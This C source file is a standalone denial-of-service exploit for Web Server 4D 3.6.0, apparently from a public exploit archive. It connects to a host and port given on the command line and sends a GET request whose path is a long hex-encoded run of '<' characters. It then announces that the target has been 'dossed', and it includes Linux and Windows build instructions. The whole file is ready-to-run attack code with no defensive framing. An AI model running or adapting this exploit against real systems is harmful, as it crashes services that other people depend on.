/* Web server 4D 3.6.0 denial of service 		  */
/* bug found by badpack3t.				  */
/* ftp://ftp.mdgcs.com/demos/WS4D/Win/WS4D_3.6.0_Full.exe */
/*							  */
/* $ gcc -o f_ws4d f_ws4d.c (linux version)		  */
/* $ gcc -o f_ws4d f_ws4d.c -DWINDOWS (windows version)   */
/*							  */
/* $ ./f_ws4d <hostname/ip> <port>			  */
/*							  */
/* Federico Fazzi <federico@autistici.org>		  */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#if WINDOWS
#include <winsock.h>
#pragma comment(lib, "ws2_32.lib")
#else
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>
#endif

int usage(char *f);

char f_call[] =
"\x47\x45\x54\x20\x2F\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C"
		"\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C"
		"\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C"
		"\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C"
		"\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C"
		"\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C"
		"\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C"
		"\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C"
		"\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C"
		"\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C"
		"\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C"
		"\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C"
		"\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C"
		"\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C"
		"\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C"
		"\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C"
		"\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C"
		"\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C"
		"\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C"
		"\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C"
		"\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C"
		"\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C"
		"\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C"
		"\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C"
		"\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C\x3C"
		"\x3C\x3C\x3C\x3C\x3C\x20\x48\x54\x54\x50\x2F\x31\x2E\x31\x20";

int main(int argc, char *argv[]) {

#if WINDOWS
    WSADATA wsaData;
    WORD wVersionRequested;
    int port;
    int size;
    SOCKET sockfd;
#else
    int sockfd;
    socklen_t size;
    in_port_t port = atoi(argv[2]);
#endif

    struct sockaddr_in structaddr;
    struct hostent *sockhost;
    char *reply = (char *)malloc(512);

    if(argc < 2) usage((char *) basename(argv[0]));

#if WINDOWS
    wVersionRequested = MAKEWORD(1, 1);
    if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;
#endif
    printf("* Webserver 4D 3.6.0 denial of service\n\n");
#if WINDOWS
    if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) ==
INVALID_SOCKET) {
	perror("socket_func");
		exit(1);
    }
#else
    if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
	perror("socket_func");
		exit(1);
    }
#endif

    printf("getting socket.. done!\n");

    sockhost = gethostbyname(argv[1]);
    if(sockhost == NULL) herror("gethostbyname_func");

    size = sizeof(structaddr);
    memset((void *) &structaddr, 0x00, size);
    bcopy(sockhost->h_addr, &structaddr.sin_addr, sockhost->h_length);
    structaddr.sin_family = AF_INET;
    structaddr.sin_port = htons((u_short)port);

    printf("getting connection.. ");
    if(connect(sockfd, (struct sockaddr *) &structaddr, size) == -1) {
	printf("error!\n");
	perror("connect_func");
		exit(1);
    }
    printf("done!\n");

    printf("sending exploit in hex format.. ");
    if(write(sockfd, f_call, sizeof(f_call)) == -1) {
	printf("error!\n");
	perror("send_func");
		exit(1);
    }
    printf("done!\n");

    printf("target: %s on port %d have been dossed!\n\n",
sockhost->h_name, port);
#if WINDOWS
    closesocket(sockfd);
#else
    close(sockfd);
#endif
    return(0);
}

int usage(char *f) {

printf("Webserver 4D 3.6.0 denial of service\n");
printf("Federico Fazzi <federico@autistici.org\n\n");
printf("$ gcc -o %s %s (linux version)\n", f, __FILE__);
printf("$ gcc -o %s %s -DWINDOWS (windows version\n", f, __FILE__);

return(1);
}